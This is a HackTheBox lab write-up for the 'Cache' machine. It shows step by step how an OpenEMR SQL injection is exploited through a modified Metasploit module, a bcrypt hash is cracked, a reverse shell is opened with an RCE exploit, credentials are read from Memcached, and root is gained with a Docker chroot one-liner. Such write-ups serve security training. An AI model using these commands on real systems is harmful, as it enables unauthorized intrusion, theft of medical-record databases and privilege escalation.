HackTheBox - Cache
Summary
Cache | |
---|---|
Difficulty: | Medium |
OS: | Linux |
Release date: | 09-05-2020 |
Cache was a medium Linux machine which was running an OpenEMR instance. Exploiting an SQL injection flaw allowed me to dump the database, leading to user access. I achieved root access by using a running Docker instance for privilege escalation. |
Foothold
An Nmap scan revealed that this machine was running a webserver on port 80.
mick@kali:~/Documents/HackTheBox/Cache$ nmap -sC -sV -Pn -oN nmap_cache 10.10.10.188
Host is up (0.027s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA)
| 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA)
|_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Cache
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The webpage looked like a personal project.
Navigating to the ‘Login’ page and inspecting the source of the page revealed a set of credentials: ash:H@v3_fun
.
On the ‘Author’ page, the author states the existence of a project called ‘HMS’.
What came to mind immediately was that this webserver might have a subdomain for this project. After adding the necessary entries (‘hms.htb’ and ‘cache.htb’) to /etc/hosts
, I discovered that this webserver runs ‘OpenEMR’. OpenEMR is The world’s leading open-source electronic medical record and practice management software.
Since I was unable to discover which OpenEMR version this was, I decided to check whether Metasploit
had modules for OpenEMR.
msf5 > search openemr
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/sqli/openemr/openemr_sqli_dump 2019-05-17 normal Yes OpenEMR 5.0.1 Patch 6 SQLi Dump
1 exploit/unix/webapp/openemr_sqli_privesc_upload 2013-09-16 excellent Yes OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
2 exploit/unix/webapp/openemr_upload_exec 2013-02-13 excellent Yes OpenEMR PHP File Upload Vulnerability
msf5 > use 0
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options
Module options (auxiliary/sqli/openemr/openemr_sqli_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /openemr yes The base path to the OpenEMR installation
VHOST no HTTP server virtual host
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set TARGETURI /
TARGETURI => /
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set RHOSTS hms.htb
RHOSTS => hms.htb
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > set VHOST hms.htb
VHOST => hms.htb
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > check
[*] Trying to detect installed version
[*] 10.10.10.188:80 - The target appears to be vulnerable.
It appeared that this version of OpenEMR is vulnerable to this exploit. After examining the module’s script I discovered that the module retrieves the OpenEMR version from ‘/admin.php’. I manually confirmed that this version is vulnerable by checking the webpage.
Running this Metasploit module, however, was not practical because it was attempting to dump 295 tables.
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188
[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
[*] Dumping table (2/295): COLLATIONS
[*] Dumping table (3/295): COLLATION_CHARACTER_SET_APPLICABILITY
This would take far too long to run so I modified the script to only list all table names.
def dump_all
payload = 'version()'
db_version = exec_payload_and_parse(payload)
print_status("DB Version: #{db_version}")
print_status('Enumerating tables, this may take a moment...')
tables = enumerate_tables
num_tables = tables.length
print_status("Identified #{num_tables} tables.")
skiptables = %w[form_taskman log log_comment_encrypt]
tables.each_with_index do |table, i|
if skiptables.include?(table)
print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
else
print_status("Found table (#{i + 1}/#{num_tables}): #{table}")
#table_data = walk_table(table)
#save_csv(table_data, table)
end
end
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
end
Running the module again, after modification, provided the following table names. Especially ‘users’ and ‘users_secure’ were interesting.
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188
[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Found table (1/295): CHARACTER_SETS
[*] Found table (2/295): COLLATIONS
[*] Found table (3/295): COLLATION_CHARACTER_SET_APPLICABILITY
[*] Found table (4/295): COLUMNS
[*] Found table (5/295): COLUMN_PRIVILEGES
[*] Found table (6/295): ENGINES
...
[*] Found table (289/295): users
[*] Found table (290/295): users_facility
[*] Found table (291/295): users_secure
...
[*] Found table (294/295): voids
[*] Found table (295/295): x12_partners
[*] Dumped all tables to /home/mick/.msf4/loot
[*] Auxiliary module execution completed
I modified the script again to dump these tables.
def dump_all
payload = 'version()'
db_version = exec_payload_and_parse(payload)
print_status("DB Version: #{db_version}")
print_status('Enumerating tables, this may take a moment...')
#tables = enumerate_tables
tables = ["users", "users_secure"]
num_tables = tables.length
print_status("Identified #{num_tables} tables.")
# These tables are impossible to fetch because they increase each request
skiptables = %w[form_taskman log log_comment_encrypt]
tables.each_with_index do |table, i|
if skiptables.include?(table)
print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
else
print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}")
table_data = walk_table(table)
save_csv(table_data, table)
end
end
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
end
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188
[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 2 tables.
[*] Dumping table (1/2): users
[*] Found primary key: id
[*] Enumerating iteratively: column_name in information_schema.COLUMNS
[*] Enumerated columns
[*] Enumerating iteratively: id in users
[*] Enumerated key_values iteratively
[*] Going through key values
[*] Going through key value 1
[*] Going through column id
[*] Going through column username
[*] Going through column password
...
[*] Dumping table (2/2): users_secure
[*] Found primary key: id
[*] Enumerating iteratively: column_name in information_schema.COLUMNS
[*] Enumerated columns
[*] Enumerating iteratively: id in users_secure
[*] Enumerated key_values iteratively
[*] Going through key values
[*] Going through key value 1
[*] Going through column id
[*] Going through column username
[*] Going through column password
[*] Going through column salt
...
[*] Going through column salt_history2
[*] Dumped all tables to /home/mick/.msf4/loot
[*] Auxiliary module execution completed
Opening the dumped table ‘users_secure’ in SQLite browser revealed a set of credentials.
Based on this source the ‘$2a$’ at the start of the hash indicates that this is a bcrypt hash, which can be cracked with John.
mick@kali:~/Documents/HackTheBox/Cache$ echo ´$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.´ >> openemr_admin_hash
mick@kali:~/Documents/HackTheBox/Cache$ john -format:bcrypt -wordl:/usr/share/wordlists/rockyou.txt openemr_admin_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xxxxxx (?)
1g 0:00:00:00 DONE (2020-06-28 11:44) 5.000g/s 4320p/s 4320c/s 4320C/s tristan..felipe
Use the "--show" option to display all of the cracked passwords reliably
Session completed
These credentials allowed me to log in and access the OpenEMR dashboard.
Searching for more exploits that apply to this OpenEMR version revealed that this version also allows authenticated remote code execution.
mick@kali:~/Documents/HackTheBox/Cache$ searchsploit openemr
----------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------- ---------------------------------
...
OpenEMR 5.0.1 - Remote Code Execution | php/webapps/48515.py
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
...
----------------------------------------------------------------------- ---------------------------------
Appropriately modifying the script and executing it gave me foothold on the machine.
mick@kali:~$ nc -lvnp 35356
listening on [any] 35356 ...
connect to [10.10.15.137] from (UNKNOWN) [10.10.10.188] 50284
Linux cache 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
15:11:31 up 9 min, 0 users, load average: 0.00, 0.13, 0.14
USER TTY FROM LOGIN IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1994): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/$
User access
User access was trivial, as using the password found in the Javascript code earlier provided me with use access as ‘Ash’.
www-data@cache:/$ su ash
su: must be run from a terminal
www-data@cache:/$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@cache:/$ su ash
Password: H@v3_fun
ash@cache:/$ whoami
ash
ash@cache:/$ cat ~/user.txt
72282c5b71266a6452aa5439ead8274c
Root access
Root access required additional privilege escalation to the user ‘Luffy’.
Privilege escalation to Luffy
Checking the running processes revealed that Docker was running as root.
ash@cache:/$ ps aux
...
memcache 953 0.0 0.1 425792 4140 ? Ssl 15:29 0:02 /usr/bin/memcac
root 954 0.1 1.7 934268 69988 ? Ssl 15:29 0:14 /usr/bin/docker
daemon 955 0.0 0.0 28332 2428 ? Ss 15:29 0:00 /usr/sbin/atd -
root 962 0.0 0.4 169100 17176 ? Ssl 15:29 0:00 /usr/bin/python
www-data 2070 0.0 0.7 369932 28432 ? S 15:31 0:00 /usr/sbin/apach
...
Interestingly, the user ‘Luffy’ is in the Docker group.
ash@cache:/$ cat /etc/group
...
docker:x:999:luffy
...
The goal was then to gain access to the machine as Luffy and escalate privileges from there. After further enumeration I discovered that there’s a Memcached
instance running on this machine by looking at all active connections. Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.
ash@cache:/$ netstat -a
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 localhost.localdo:mysql 0.0.0.0:* LISTEN
tcp 0 0 localhost.localdo:11211 0.0.0.0:* LISTEN
tcp 0 0 localhost:domain 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN
I connected to, and interacted with, Memcached using telnet
. To retrieve information from Memcached I used this source as reference.
ash@cache:~$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
These credentials successfully gave me access to Luffy.
ash@cache:~$ su luffy
Password: 0n3_p1ec3
luffy@cache:/home/ash$
Privilege escalation to root
GTFObins had a nice one-liner for privilege escalation using Docker. This required me to know the name of the Docker image.
luffy@cache:/home/ash$ docker images
docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 11 months ago 64.2MB
I then successfully managed to gain root access.
luffy@cache:/home/ash$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh
# whoami
root
# cat /root/root.txt
c33a2e2ffa9ed0bcf52b628c46a39879
#